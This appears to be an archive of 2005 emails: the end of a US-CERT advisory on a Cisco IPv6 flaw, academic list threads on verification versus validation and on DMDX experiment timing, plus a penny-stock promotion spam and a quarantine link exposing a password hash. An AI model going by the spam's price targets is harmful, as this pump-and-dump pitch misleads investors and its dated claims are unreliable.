security advisory regarding a vulnerability which was disclosed on July 27, 2005 at the Black Hat security conference. Security advisory is available at: http://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml For up-to-date information on security vulnerabilities in Cisco Systems, Inc. products, visit http://www.cisco.com/go/psirt. Appendix B. References * US-CERT Vulnerability Note VU#930892 - * Cisco Security Advisory: IPv6 Crafted Packet Vulnerability - _________________________________________________________________ Information regarding this vulnerability was primarily provided by Cisco Systems, who in turn acknowledge the disclosure of this vulnerability at the Black Hat USA 2005 Briefings. _________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Send mail to with ""TA05-210A feedback VU#930892"" in the subject. _________________________________________________________________ The most recent version of this document is available at: _________________________________________________________________ Produced 2005 by US-CERT, a government organization. _________________________________________________________________ Terms of use: _________________________________________________________________ Revision History July 29, 2005: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQuqgLRhoSezw4YfQAQI5iwgAkSYXPNt6Hffg7BfMeYoBaZ4Co6XFVjQ6 nWHKt1inYcYta/DXEuWJAhcjI/t8v74OH0b5sxGEr0mwtzEwV2r5pAF6nQesqyoj q3r60OE3TZygxUZPrGNmmkSpkhoNap9cSVs97Xt6Fd4evOmp0VZ6pqMdJtQ/r5xk d67LicCM9NLNoC0LPoen2/7ICu7jqxZnoF4oHDkZS8b2g2mx7vfz3Htj44Nd5/eD tWe8HqF8ReSyLEiOj8z8vrjcfz+BIwSLXnyr6DDxSvFmhy0CunGFkCQq074CwbVE GZjAJSn2r/A2Pp3HBP/RxQ9BNv8rHrSF7DkG9gADc5PV8WpaLCHP0Q== =4jtB -----END PGP SIGNATURE-----",0,1 Emily Hebard ,Melanie Cofield ,"Fri, 29 Jul 2005 18:07:08 -0700",Re: permission to archive your picture,"you have my permission! Emily --- Melanie Cofield wrote: > Hello again, former purpleshirts! > > I am now seeking your permission to archive your IT > Lab staff photo in the > iSchool's digital repository, as a supplement to > your archived tutorial > materials. I believe this visual information lends > a bit of humanity and > creativity to the > archive. > > Please respond to this message stating whether you > grant or decline permission > for your lab staff photo to be archived in this > iSchool digital repository > project. > > I will send email notification of the project's > completion, as well as > information on how to access the archived materials, > to all Lab staff (current > and former) whose materials are archived in this > collection. > > Thanks for your time. > > I shan't bother you with permission requests again > :) > > > __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! 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I recommend NOT using it the way many of us have been using it. Instead, in order to conform to already established usage, it should be called ""verification"". If we compute enclosures of solutions, we can talk about enclosures, of course. Evidently ""validation"" is widely used to refer to agreement with physical effects, experimental results, etc. Please see remarks below by Ivo Babuska. Ray Moore ----- Original Message ----- From: ""Babuska"" To: ""Ray Moore"" Cc: ""G. William Walster"" Sent: Monday, August 01, 2005 10:32 PM Subject: Verification and Validation > Dear Ray, > with respect to the field of Verification and Validation the best would > be if you will look on the following publications > 1.Guide for Verification and vVlidation of computational fluid dynamics > simulation. Tech Rep AIAA G -077-1998 American Institute of Aeronautics > and Astronautics > > 2.Babuska and Oden Verification and Validation computational engineering > and science. Basic concepts Comp Meth Appl Mech engrg. 193, > 2004,4057-4066 > > 3. Oberkampf and Trucano Verification and Validation in computational > fluid dynamics Progress in Aerospace Sciences 38 2002, 209-272 > > P J Roache Verification and Validation in Computational Science and > Engineering Hermosa Publishers 1998 > ( this is a book) > > Roughly: > Verification is related to the question whether computer leads to the > correct solution of the mathematical problem. It has two parts: a. The > reliability of the algorithm,( convergence, a-posteriori estimates etc) > and b. the problem whether the program has no bugs etc. > Validation relates to the question whether the computed results describe > well the physical effects of interest.They can be various, for example > displacements, stresses, resultants, eigenfrequences, temperature, fluxes > etc > Validation is also related to the experimental results. Notions as > calibration, validation accreditation, post audits are used > > In the publications above is large literature citation. I could give you > much more literature. As I said in the previous message I would recommend > that you also look on the Proceedings of Winter simulation conferences > which takes place every year. > Best regards > Ivo > > > > >",0,0 Stefan Ratschan ,reliable computing ,"Tue, 02 Aug 2005 14:33:45 +0200",Re: Fw: Verification and Validation,"On Die, 2005-08-02 at 06:20 -0400, Ray Moore wrote: > I am just now learning that the term ""validation"" is already in common usage > with a different meaning that what is often used in our circle. To my knowledge both the terms ""verification"" and ""validation"" have different meanings in different fields. For example, when engineers use these terms, they do not necessarily connect mathematical correctness with it. For example, they might do ""verification by testing"" ... Stefan Ratschan ",0,0 Steve Stevenson ,"Ray Moore , reliable computing ","Tue, 02 Aug 2005 09:23:47 -0400",Re: Fw: Verification and Validation,"Good Morning, Yes, the terms ""verification"" and ""validation"" (and ""accreditation"" or ""certification"") have a very distinct meaning to the US Department of Defense, Department of Energy, and NASA. AIAA and ASME also have or soon will have standards on this. It goes by the term V&V or VV&A depending on the sponsor. You can get a quick overview of the area by going to www.dmso.mil and in the navigation bar on the left look for ""VV&A."" There have been two conferences Foundations 2002 and 2004; I was co-program chair of each. My interest in reliable computing is directly the result of VV&A issues. steve At 6:20 -0400 8/2/05, Ray Moore wrote: >Dear Colleagues, > >I am just now learning that the term ""validation"" is already in >common usage with a different meaning that what is often used in our >circle. I recommend NOT using it the way many of us have been using >it. Instead, in order to conform to already established usage, it >should be called ""verification"". If we compute enclosures of >solutions, we can talk about enclosures, of course. Evidently >""validation"" is widely used to refer to agreement with physical >effects, experimental results, etc. >Please see remarks below by Ivo Babuska. > >Ray Moore > >----- Original Message ----- From: ""Babuska"" >To: ""Ray Moore"" >Cc: ""G. William Walster"" >Sent: Monday, August 01, 2005 10:32 PM >Subject: Verification and Validation > >>Dear Ray, >>with respect to the field of Verification and Validation the best >>would be if you will look on the following publications >>1.Guide for Verification and vVlidation of computational fluid >>dynamics simulation. Tech Rep AIAA G -077-1998 American Institute >>of Aeronautics and Astronautics >> >>2.Babuska and Oden Verification and Validation computational >>engineering and science. Basic concepts Comp Meth Appl Mech engrg. >>193, 2004,4057-4066 >> >>3. Oberkampf and Trucano Verification and Validation in >>computational fluid dynamics Progress in Aerospace Sciences 38 >>2002, 209-272 >> >>P J Roache Verification and Validation in Computational Science >>and Engineering Hermosa Publishers 1998 >>( this is a book) >> >>Roughly: >>Verification is related to the question whether computer leads to >>the correct solution of the mathematical problem. It has two parts: >>a. The reliability of the algorithm,( convergence, a-posteriori >>estimates etc) and b. the problem whether the program has no bugs >>etc. >>Validation relates to the question whether the computed results >>describe well the physical effects of interest.They can be various, >>for example displacements, stresses, resultants, eigenfrequences, >>temperature, fluxes etc >>Validation is also related to the experimental results. Notions as >>calibration, validation accreditation, post audits are used >> >>In the publications above is large literature citation. I could >>give you much more literature. As I said in the previous message I >>would recommend that you also look on the Proceedings of Winter >>simulation conferences which takes place every year. >>Best regards >>Ivo -- best, steve Dr. D. E. Stevenson Director, Institute for Modeling and Simulation Applications Clemson University Clemson,SC 29634-0974",0,0 Steve Stevenson ,"Stefan Ratschan , reliable computing ","Tue, 02 Aug 2005 10:03:36 -0400",Re: Fw: Verification and Validation,"At 14:33 +0200 8/2/05, Stefan Ratschan wrote: >On Die, 2005-08-02 at 06:20 -0400, Ray Moore wrote: >> I am just now learning that the term ""validation"" is already in common usage >> with a different meaning that what is often used in our circle. >To my knowledge both the terms ""verification"" and ""validation"" have >different meanings in different fields. For example, when engineers use >these terms, they do not necessarily connect mathematical correctness >with it. For example, they might do ""verification by testing"" ... > >Stefan Ratschan This is true. The reason AIAA and ASME have gotten involved is that the terminology needs to be standardized. When I deal with scientists, there is always confusion because they can't conceive ""verifying"" something outside the ""valid"" range. Mathematicians use the words interchangeably while logicians have a strict distinction. Verification by testing is still verification, for example. Computer scientists use the term to stress a link between code and specification; they even sometimes ask the validation question ""Does this actually do what the customer needs?"" So, yes, the terms are not used uniformly but given the number of computational science and engineering organizations that use the terms in the way I do, it will become more common to make the distinctions I've made here. -- best, steve Dr. D. E. Stevenson Director, Institute for Modeling and Simulation Applications Clemson University Clemson,SC 29634-0974 ",0,0 Luke Achenie ,reliable computing ,"Tue, 02 Aug 2005 10:04:44 -0400",RE: Verification and Validation,"Dear Colleagues: I agree with Ray and Ivo. In engineering circles and certainly within chemical engineering ""validation"" has to do with consistency with experimental data or observed physical phenomenon. The interval community would do well to adopt the universal meaning. Best regards. Luke @@@@@@@@@@@@@@@@@@@@@@@@ Luke E. K. Achenie, PhD Professor, Department of Chemical Engineering Director, Computer Aided Process and Product Design Lab (www.engr.uconn.edu/cheg/cheg_fac_achenie.htm) Director, School of Engineering Computing Services (http://www.engr.uconn.edu/ecs/organization.htm) Dept. of Chemical Engineering, Unit 3222 University of Connecticut 191 Auditorium Road Storrs, CT 06269 Phone: (860) 486-2756 Fax: (860) 486-2959 Email: achenie@engr.uconn.edu ________________________________ From: owner-reliable_computing@interval.louisiana.edu on behalf of Ray Moore Sent: Tue 8/2/2005 6:20 AM To: reliable computing Subject: Fw: Verification and Validation Dear Colleagues, I am just now learning that the term ""validation"" is already in common usage with a different meaning that what is often used in our circle. I recommend NOT using it the way many of us have been using it. Instead, in order to conform to already established usage, it should be called ""verification"". If we compute enclosures of solutions, we can talk about enclosures, of course. Evidently ""validation"" is widely used to refer to agreement with physical effects, experimental results, etc. Please see remarks below by Ivo Babuska. Ray Moore ----- Original Message ----- From: ""Babuska"" To: ""Ray Moore"" Cc: ""G. William Walster"" Sent: Monday, August 01, 2005 10:32 PM Subject: Verification and Validation > Dear Ray, > with respect to the field of Verification and Validation the best would > be if you will look on the following publications > 1.Guide for Verification and vVlidation of computational fluid dynamics > simulation. Tech Rep AIAA G -077-1998 American Institute of Aeronautics > and Astronautics > > 2.Babuska and Oden Verification and Validation computational engineering > and science. Basic concepts Comp Meth Appl Mech engrg. 193, > 2004,4057-4066 > > 3. Oberkampf and Trucano Verification and Validation in computational > fluid dynamics Progress in Aerospace Sciences 38 2002, 209-272 > > P J Roache Verification and Validation in Computational Science and > Engineering Hermosa Publishers 1998 > ( this is a book) > > Roughly: > Verification is related to the question whether computer leads to the > correct solution of the mathematical problem. It has two parts: a. The > reliability of the algorithm,( convergence, a-posteriori estimates etc) > and b. the problem whether the program has no bugs etc. > Validation relates to the question whether the computed results describe > well the physical effects of interest.They can be various, for example > displacements, stresses, resultants, eigenfrequences, temperature, fluxes > etc > Validation is also related to the experimental results. Notions as > calibration, validation accreditation, post audits are used > > In the publications above is large literature citation. I could give you > much more literature. As I said in the previous message I would recommend > that you also look on the Proceedings of Winter simulation conferences > which takes place every year. > Best regards > Ivo > > > > >",0,1 Steve Stevenson ,"Luke Achenie , reliable computing ","Tue, 02 Aug 2005 11:35:34 -0400",RE: Verification and Validation,"At 10:04 -0400 8/2/05, Luke Achenie wrote: >Dear Colleagues: > >I agree with Ray and Ivo. In engineering circles and certainly >within chemical engineering ""validation"" has to do with consistency >with experimental data or observed physical phenomenon. The interval >community would do well to adopt the universal meaning. Best >regards. Luke Indeed, that is what its means in that particular engineering community and that's the ""informal meaning"" in most discplines. I'm not saying you're incorrect; all I'm saying is that the terms have a very broad meaning outside the very narrow and generally ill-defined usage in a particular engineering group. The work at the National Laboratories go way past your meanings; we can't just blow up a bunch of nukes to get new data. See my paper on the Michelson-Morley experiment in ``The Michelson-Morley Experiment as a Case Study in Validation.'' Computers in Science and Engineering. Nov-Dec, 2002. 40-51. > >@@@@@@@@@@@@@@@@@@@@@@@@ > >Luke E. K. Achenie, PhD >Professor, Department of Chemical Engineering >Director, Computer Aided Process and Product Design Lab >(www.engr.uconn.edu/cheg/cheg_fac_achenie.htm) >Director, School of Engineering Computing Services >(http://www.engr.uconn.edu/ecs/organization.htm) > >Dept. of Chemical Engineering, Unit 3222 University of Connecticut >191 Auditorium Road >Storrs, CT 06269 > >Phone: (860) 486-2756 Fax: (860) 486-2959 Email: achenie@engr.uconn.edu > > > >________________________________ > >From: owner-reliable_computing@interval.louisiana.edu on behalf of Ray Moore >Sent: Tue 8/2/2005 6:20 AM >To: reliable computing >Subject: Fw: Verification and Validation > > > >Dear Colleagues, > >I am just now learning that the term ""validation"" is already in common usage >with a different meaning that what is often used in our circle. I recommend >NOT using it the way many of us have been using it. Instead, in order to >conform to already established usage, it should be called ""verification"". If >we compute enclosures of solutions, we can talk about enclosures, of course. >Evidently ""validation"" is widely used to refer to agreement with physical >effects, experimental results, etc. > Please see remarks below by Ivo Babuska. > >Ray Moore > >----- Original Message ----- >From: ""Babuska"" >To: ""Ray Moore"" >Cc: ""G. William Walster"" >Sent: Monday, August 01, 2005 10:32 PM >Subject: Verification and Validation > > >> Dear Ray, >> with respect to the field of Verification and Validation the best would >> be if you will look on the following publications >> 1.Guide for Verification and vVlidation of computational fluid dynamics >> simulation. Tech Rep AIAA G -077-1998 American Institute of Aeronautics >> and Astronautics >> >> 2.Babuska and Oden Verification and Validation computational engineering >> and science. Basic concepts Comp Meth Appl Mech engrg. 193, >> 2004,4057-4066 >> >> 3. Oberkampf and Trucano Verification and Validation in computational >> fluid dynamics Progress in Aerospace Sciences 38 2002, 209-272 >> >> P J Roache Verification and Validation in Computational Science and >> Engineering Hermosa Publishers 1998 >> ( this is a book) >> >> Roughly: >> Verification is related to the question whether computer leads to the >> correct solution of the mathematical problem. It has two parts: a. The >> reliability of the algorithm,( convergence, a-posteriori estimates etc) >> and b. the problem whether the program has no bugs etc. >> Validation relates to the question whether the computed results describe >> well the physical effects of interest.They can be various, for example >> displacements, stresses, resultants, eigenfrequences, temperature, fluxes >> etc >> Validation is also related to the experimental results. Notions as >> calibration, validation accreditation, post audits are used > > >> In the publications above is large literature citation. I could give you >> much more literature. As I said in the previous message I would recommend >> that you also look on the Proceedings of Winter simulation conferences >> which takes place every year. >> Best regards >> Ivo >> >> >> >> >> -- best, steve Dr. D. E. Stevenson Director, Institute for Modeling and Simulation Applications Clemson University Clemson,SC 29634-0974",0,1 Wayne Hayes ,Steve Stevenson ,"Tue, 02 Aug 2005 11:07:36 -0700",Re: Verification and Validation,"What's wrong with calling it ""interval arithmetic""? I presume that's what we really mean when we refer to ""reliable computing"", ""validated computing"", ""verified computing"", etc., on this list. All of these terms are too vague and prone to being mis-interpreted. I believe the only confusion that could arise when using the term ""interval arithmetic"" is that some people do NON-validated computing with intervals -- that is, keeping track of endpoints in a non-rigorous way. Since that's the only possible confusion I can forsee at the moment, and it's a very subtle difference, I propose that if we choose a new term that we choose ""validated interval arithmetic"". One could argue that we're doing more than just interval arithmetic these days; for example is validated global optimization, or validated ODE integration, just ""interval arithmetic""? Maybe it's more, but there's less chance of confusion if you say ""global optimization validated with interval arithmetic"", or ""ODE integration validated with interval arithmetic"". It's a bit long-winded, but much less prone to confusion. - Wayne ",0,0 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Tue, 02 Aug 2005 13:39:31 -0500",Re: Verification and Validation,"Wayne, Another possible source of confusion with the term ""interval arithmetic"" is that people do ""automatic result verification"" or ""rigorous error bounding"" using directed rounding but do not explicitly use interval arithmetic. That is, instead of having an interval data type, they may find it useful to carry out two sets of floating point computations, programming each carefully and explicitly switching the rounding mode where necessary to be assured of a lower bound on the exact result for the first estimate, and an upper bound on the exact result for the second estimate. Some of the most prominent application successes of automatic theorem proving with floating point arithmetic were done this way. Best regards, Baker At 11:07 AM 8/2/2005 -0700, Wayne Hayes wrote: >What's wrong with calling it ""interval arithmetic""? I presume that's >what we really mean when we refer to ""reliable computing"", ""validated >computing"", ""verified computing"", etc., on this list. All of these >terms are too vague and prone to being mis-interpreted. I believe >the only confusion that could arise when using the term ""interval >arithmetic"" is that some people do NON-validated computing with >intervals -- that is, keeping track of endpoints in a non-rigorous >way. Since that's the only possible confusion I can forsee at >the moment, and it's a very subtle difference, I propose that if >we choose a new term that we choose ""validated interval arithmetic"". > >One could argue that we're doing more than just interval arithmetic >these days; for example is validated global optimization, or validated >ODE integration, just ""interval arithmetic""? Maybe it's more, but >there's less chance of confusion if you say ""global optimization validated >with interval arithmetic"", or ""ODE integration validated with interval >arithmetic"". It's a bit long-winded, but much less prone to confusion. > > - Wayne > > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Tue, 02 Aug 2005 13:43:02 -0500","Re: Another aspect, Verification and Validation","Wayne, Now that I think even more about it, there are alternate ""rigorous"" floating point systems whose inventors contrast with ""interval arithmetic"". Affine arithmetic and Taylor arithmetic are examples of these. However, the spirit of interval arithmetic underlies these, however. Baker At 11:07 AM 8/2/2005 -0700, Wayne Hayes wrote: >What's wrong with calling it ""interval arithmetic""? I presume that's >what we really mean when we refer to ""reliable computing"", ""validated >computing"", ""verified computing"", etc., on this list. All of these >terms are too vague and prone to being mis-interpreted. I believe >the only confusion that could arise when using the term ""interval >arithmetic"" is that some people do NON-validated computing with >intervals -- that is, keeping track of endpoints in a non-rigorous >way. Since that's the only possible confusion I can forsee at >the moment, and it's a very subtle difference, I propose that if >we choose a new term that we choose ""validated interval arithmetic"". > >One could argue that we're doing more than just interval arithmetic >these days; for example is validated global optimization, or validated >ODE integration, just ""interval arithmetic""? Maybe it's more, but >there's less chance of confusion if you say ""global optimization validated >with interval arithmetic"", or ""ODE integration validated with interval >arithmetic"". It's a bit long-winded, but much less prone to confusion. > > - Wayne > > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Chenyi Hu ,"steve@cs.clemson.edu, wayne@igor.ics.uci.edu","Tue, 02 Aug 2005 14:52:44 -0500",Re: Verification and Validation,"How about using the term ""interval computing""? It is probably broad (and specific) enough to cover what we do mostly. -Chenyi >>> Wayne Hayes 08/02/05 11:07 AM >>> What's wrong with calling it ""interval arithmetic""? I presume that's what we really mean when we refer to ""reliable computing"", ""validated computing"", ""verified computing"", etc., on this list. All of these terms are too vague and prone to being mis-interpreted. I believe the only confusion that could arise when using the term ""interval arithmetic"" is that some people do NON-validated computing with intervals -- that is, keeping track of endpoints in a non-rigorous way. Since that's the only possible confusion I can forsee at the moment, and it's a very subtle difference, I propose that if we choose a new term that we choose ""validated interval arithmetic"". One could argue that we're doing more than just interval arithmetic these days; for example is validated global optimization, or validated ODE integration, just ""interval arithmetic""? Maybe it's more, but there's less chance of confusion if you say ""global optimization validated with interval arithmetic"", or ""ODE integration validated with interval arithmetic"". It's a bit long-winded, but much less prone to confusion. - Wayne",0,0 Jeff Tupper ,reliable_computing@interval.louisiana.edu,"Tue, 02 Aug 2005 13:50:46 -0700",Re: Verification and Validation,"I've personally used ""generalized interval arithmetic"" as an umbrella term for affine arithmetic, Taylor models, and lower / upper bound computations for over ten years. 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Task counters; ! c1= target duration in ms; ! c2= target duration in  ticks; ! c3= target LastRT; ! c4 pre-target fixation duration in ms; ! c5 pre-target fixation duration in ticks;  ! c6 counter to hold outcome of trial  (correct if 1, else incorrect); ! c10 = total trials; ! c11 = total correct trials; !******************************************; ! Pre-loading images; !******************************************; ! Pre-load bitmaps; ~1   ""blue""; !******************************************; ! Start Experiment; !******************************************; 0  d60 ""Press SPACE to BEGIN""; ! No Control/Fix; +10 d29 ""S"" <% 180> / * ""+"" / ! ; +11 d58  * ""blue"" /; 13 d27 ""+"" <% 180& gt; / ""+"" <% 41>/ ! ; 16 d88 <% 1> ""+"" / ! ; ! No Control/Fix; +10 d29 ""S"" <% 180> / * ""+"" / ! ; +11 d58  * ""blue"" /; 13 d27 ""+"" <% 180> / ""+"" <% 41>/ ! ; 16 d88 <% 1> ""+"" / ! ; ! No Control/Fix; +10 d29 ""S"" <% 180> / * ""+"" / ! ; +11 d58  * ""blue"" /; 13 d27 ""+"" <% 180> / ""+"" <% 41>/ ! ; 16 d88 <% 1> ""+"" / ! ; ! No Control/Fix;  +10 d29 ""S"" <% 180> / * ""+"" / ! ; +11 d58  * ""blue"" /; 13 d27 ""+"" <% 180> / ""+"" <% 41>/ ! ; 16 d88 <% 1> ""+"" / ! ; 100000 d10 ""the end""; ZIL OUTPUT HERE Subjects incorporated to date: 003 Data file started on machine BEAMISH ********************************************************************** Subject 1, 08/05/2005 15:56:31 on BEAMISH, refresh 16.57ms, ID 1       COT Item 10, COT 0.00, No Responses. Item 11, COT 995.05, No Responses. Item 10, COT 10381.63, No Responses. Item 11, COT 11376.67, No Responses. Item 10, COT 20763.25, No Responses. Item 11, COT 21758.29, No Responses. Item 10, COT 31144.87, No Responses. It em 11, COT 32139.92, No Responses. ********************************************************************** Subject 2, 08/05/2005 15:57:25 on BEAMISH, refresh 16.57ms, ID 2       COT Item 10, COT 0.00, No Responses. Item 11, COT 995.05, No Responses. Item 10, COT 10381.63, No Responses. Item 11, COT 11376.67, No Responses. Item 10, COT 20763.25, No Responses. Item 11, COT 21758.29, No Responses. Item 10, COT 31161.46, No Responses. Item 11, COT 32156.52, No Responses. ********************************************************************** Subject 3, 08/05/2005 15:58:19 on BEAMISH, refresh 16.57ms, ID 3       COT Item 10, COT 0.00, No Responses. Item 11, COT 995.04, No Responses. Item 10, COT 10381.62, No Responses.  Item 11, COT 11376.67, No Responses. Item 10, COT 20763.25, No Responses. Item 11, COT 21758.29, No Responses. Item 10, COT 31161.46, No Responses. Item 11, COT 32156.50, No Responses. Basically, we are executing 4 blocks of the same trials and looking at the time for item 10 and 11 in each block.  As you can see by looking at the relative time of the last item 11, it varies across different runs/subjects.  However, DMDX is not producing any error to suggest that frames have been delayed, etc.  The location and magnitude (e.g., 1 tick, 2 ticks, etc) of this timing problem varies over extensive testing.  Obviously, some command we are using must not execute in a time consistent manner, but we are at a loss to figure out which one. Any suggestions would be much appreciated. Thanks John -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 05 Aug 2005 17:04:00 -0700",[DMDX] Re: question about timing in a fMRI experiment,"At 06:24 PM 8/5/2005 -0500, you wrote: >We have a question about timing in a script that will be used for a > fMRI project. In essence, using RCOT to verify the timing of trials, > we see variation (by a tick or so) across different runs of the same > script. Given the intended use with fMRI, we want to get the timing > exact (and more importantly, constant). > > HERE IS THE SCRIPT WE ARE USING AND THE ZIL FILE OUTPUT FROM THIS > SCRIPT SHOWING THE TIMING FROM 3 SEPARATE RUNS OF THE SCRIPT. > > d1 f1 > 255255255> > ~0 ; Have a look at the preparation times in the diagnostics, my bet is that your delay of 1 tick (d1) is hopelessly optimistic. I would suggest a minimum of 2 ticks and realistically 3 ticks for items that are just presenting text. You have bitmaps in there so there's almost no way a delay of 1 can be possible a even a D of 10 is pushing things. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I don't want to achieve immortality through my work. I want to achive immortality by not dying. - Woody Allen",0,0 JOHN J CURTIN ,DMDX@psy1.psych.arizona.edu,"Fri, 05 Aug 2005 19:31:55 -0500",[DMDX] Re: question about timing in a fMRI experiment,"Jonathan,We did think of that but.....1. Although we have a d1 in the header, we override that on each individual line in the script. The shortest delay in the actual script is d27 I believe 2.  If this variability was the result of delay parameter problems, wouldnt that be indicated in the zil file?  In fact, we arrived at the delay values we use for each item partly by trial and error, increasing until we noticed no delay related error messages in the zil file Am I wrong in these assumptions? JJohn J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 05 Aug 2005 20:52:46 -0700",[DMDX] Re: question about timing in a fMRI experiment,"At 07:31 PM 8/5/2005 -0500, you wrote: >Jonathan, >We did think of that but..... >1. Although we have a d1 in the header, we override that on each >individual line in the script. The shortest delay in the actual script is >d27 I believe Hmm, it's a pretty slow machine that can't load a bitmap in half a second. But you should be checking the preparation times regardless. >2. If this variability was the result of delay parameter problems, >wouldnt that be indicated in the zil file? In fact, we arrived at the >delay values we use for each item partly by trial and error, increasing >until we noticed no delay related error messages in the zil file Not all items will get displayed as errors, for instance I suspect instructions are free of any diagnostics for lateness. So your D of 1 might be catching the odd instruction, you've also got comments in there which will also be affected by the D of 1. Try a D of two or three and see if the problem doesn't go away. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People with narrow minds usually have broad tongues ",0,0 Anita Weir ,Therese ,"Fri, 05 Aug 2005 16:17:36 -0600",Doing exemplary some connive,"To Investors, We'd like to high five our research team. Our portfolio is up 77% so far in 2006 and looking stronger every day! We hope you have been keeping up with these incredible picks. Let's look at the Next BIG Winner: ~Company~ Deep Earth Resources Inc. +Symbol+ DPER ~Current Price~ $0.0084 +Short Term Target Price+ $0.071 Huge marketing campaign this week! Huge news - Must Read : SINGAPORE- (MARKET WIRE)- May 19, 2006 - Deep Earth Resources Inc (the ""Company"") (Other OTC:DPER . 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The other thing that people hit all the time with constant ISIs is having a timeout that's longer than a display. As long as the subject responds before the display's duration is up the stimuli are all perfectly timed, as soon as a response comes in that's a little too long the inter trial timing goes off. I can't tell what the syntax of your item is from the archives as it's formatting has been mangled but it looks like you're using counters both for the frame duration and the timeout. For debugging purposes in the frames that use the counters I would each one and check that their values do indeed meet the required criteria. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People with narrow minds usually have broad tongues",0,0 Elbert ,eldy ,"Sun, 07 Aug 2005 09:37:24 +0400",gotta a sec,"Heya eldy, Sorry for how long its been since we've talked. I take blame for that. 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To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=e3f1dd969b4a141942834fecce05cf3f&et=1123844604 ",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Sun, 07 Aug 2005 12:48:38 -0500",[DMDX] Re: question about timing in a fMRI experiment,"Hi Jonathan, Thanks for all the help, we appreciate it. The problem continues. First, we provide a summary to your questions and recommendations over the last few emails. Next, we provide a much simpler item file with almost everything (counters for display times and time outs, pre-loading BMP file, etc) stripped out. It still produces the same inconsistent timing using RCOT. The zil file output from two runs of this item file is also provided. Any other thoughts? **************** HERE ARE PREVIOUS QUESTIONS AND ANSWERS (IN CAPS) **************** Hmm, it's a pretty slow machine that can't load a bitmap in half a second. But you should be checking the preparation times regardless. JUST TO BE CLEAR, THE LONG DELAYS WERE NOT DETERMINED SOLELY BASED ON TIME NEED TO PRESENT THE BMPS. WE ADDED EXTRA TIME TO THE DELAYS FOR TIMING ISSUES RELATED TO THE TASK. ITS NOT A PARTICULARLY OLD OR SLOW COMPUTER AND WE COULD HAVE USED SHORTER DELAYS IF NEEDED. Not all items will get displayed as errors, for instance I suspect instructions are free of any diagnostics for lateness. So your D of 1 might be catching the odd instruction, you've also got comments in there which will also be affected by the D of 1. Try a D of two or three and see if the problem doesn't go away NO INSTRUCTION ITEMS OCCUR ONCE WE START THE TIMING SO THEY COULD NOT BE THE SOURCE OF THE INCONSISTENCY. YOU MENTION COMMENTS AS A POSSIBLE SOURCE OF THE PROBLEM. I WOULD HAVE ASSUMED THAT TEXT THAT IS COMMENTED OUT WAS DISCARDED PRIOR TO RUNTIME WHEN DMDX PARSED THE ITEM FILE. JUST FOR CLARIFICATION, IS THIS NOT TRUE? REGARDLESS, IF I DELETE ALL THE COMMENT LINES, THE TIMING INCONSISTENCY REMAINS AS I MENTIONED IN AN EARLIER POST, ALTHOUGH WE HAD D1 IN THE HEADER, WE OVERRODE THAT ON EVERY TRIAL. HOWEVER, TO BE RIGOROUS, WE CHANGED THE D IN THE HEADER TO D20 (AND EVEN D60) AND THE PROBLEM REMAINS. I HAVE ALSO CHECKED ALL THE PRESENTATION TIMES AND NONE ARE LONGER THAN 15 MS WHEN WE PRE-LOAD THE BMP FILE SO APPARENTLY EVEN THOSE TRIALS ARE PREPARED VERY QUICKLY. The other thing that people hit all the time with constant ISIs is having a timeout that's longer than a display. As long as the subject responds before the display's duration is up the stimuli are all perfectly timed, as soon as a response comes in that's a little too long the inter trial timing goes off. I can't tell what the syntax of your item is from the archives as it's formatting has been mangled but it looks like you're using counters both for the frame duration and the timeout. For debugging purposes in the frames that use the counters I would each one and check that their values do indeed meet the required criteria. WE WERE AWARE OF THE REQUIREMENT TO HAVE THE DISPLAY TIME LONGER THAN THE TIMEOUT AND HAVE CHECKED THIS AS WELL. MOREOVER, WE ARE NOT RESPONDING ON ANY TRIAL TO AVOID ANY PROBLEM THAT MIGHT POSSIBLY RESULT FROM DIFFERENT RESPONSE TIMES. ON EVERY TRIAL, THERE IS NO RESPONSE AND THE TRIAL TIMES OUT. ON EVERY TRIAL, THE TIMEOUT IS SHORTER THAN THE DELAY FOR THE FRAME WITHIN WHICH WE COLLECT THE RESPONSE ********************** Here is the new, very simple item file that also produces the problem. If you like, I can send you the bmp file so that you can run this item file and verify the problem yourself. We have observed the problem previously on multiple machines (although, this very simple item file has only be tested on one right now b/c I am at home today). The script and zil file from two runs are provided below. As you can see the timing is quite variable across items when using RCOT to record this. ********************** The Item 